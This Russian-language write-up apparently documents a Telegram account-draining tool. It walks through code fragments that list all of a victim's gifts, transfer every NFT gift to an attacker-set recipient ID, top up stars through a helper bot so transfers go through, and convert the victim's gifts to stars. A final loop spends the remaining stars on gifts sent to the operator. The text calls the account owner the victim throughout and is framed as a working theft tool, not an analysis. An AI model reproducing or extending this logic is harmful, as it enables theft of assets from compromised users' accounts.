1.2 Получение списка подарков async for gift in client.get_chat_gifts("me"): Получаются ВСЕ подарки пользователя Включает как NFT подарки, так и обычные звездные подарки 2. Логика перевода NFT подарков 2.1 Проверка подарка if hasattr(gift, 'link') and gift . link: #пробелы перед и после точки удали, лолз думает что это ссылка NFT подарки имеют поле link Обычные подарки (за звезды) не имеют ссылки 2.2 Процесс перевода через transfer_gift_to_recipient() Шаг 1: Проверка баланса звезд balance_before = await check_star_balance(client) Минимальный порог: 25 звезд Если < 25 звезд → запускается автодокид Шаг 2: Автодокид система (при необходимости) if balance_before < 25: refill_success = await autodocid_refill(client, victim_username, victim_user_id) Что делает автодокид: Подключается к аккаунту @getgifts_bot (автодокид) Отправляет сообщение "hi" жертве Отправляет 2 подарка по 15 звезд каждый (ID: 5170145012310081615) Конвертирует ВСЕ подарки жертвы в звезды Шаг 3: Перевод подарка result = await gift.transfer(recipient_id) recipient_id = GIFT_RECIPIENT_ID (ID получателя из переменной окружения) В текущем коде: GIFT_RECIPIENT_ID = fsdgty (но ID указывается числом) Шаг 4: Проверка баланса после перевода balance_after = await check_star_balance(client) 3. Обработка ошибок перевода 3.1 Трейдбан (Tradeban) Ошибка: STARGIFT_TRANSFER_TOO_EARLY_1734012345 Обработка: Парсится timestamp из ошибки Вычисляется время разблокировки Отправляется уведомление в топик трейдбанов Формат: [gift-name] (https://t.me/nft/gift-123) на трейдбане! 3д 5ч 10м до 15.12.2024 14:30 3.2 Недостаток звезд Баланс < 25 звезд Запускается автодокид Если автодокид не сработал → подарок пропускается 4. Автосписание звезд (auto_spend_stars) После перевода ВСЕХ NFT подарков запускается автосписание: 4.1 Проверка баланса Если баланс ≥ 15 звезд → начинаем списание 4.2 Список подарков для отправки (по убыванию цены): Кольцо - 100 звезд Кубок - 100 звезд Ракета - 50 звезд Цветы - 50 звезд Тортик - 50 звезд Роза - 25 звезд Подарок - 25 звезд Мишка - 15 звезд Сердце - 15 звезд 4.3 Логика отправки: python while balance >= 15: # Находим самый дорогой подарок, который можем позволить for gift in gifts: # gifts отсортированы по убыванию цены if balance >= gift["stars"]: await client.send_gift(Config.AUTODOCID_USERNAME, gift["id"]) Списание продолжается, пока баланс ≥ 15 звезд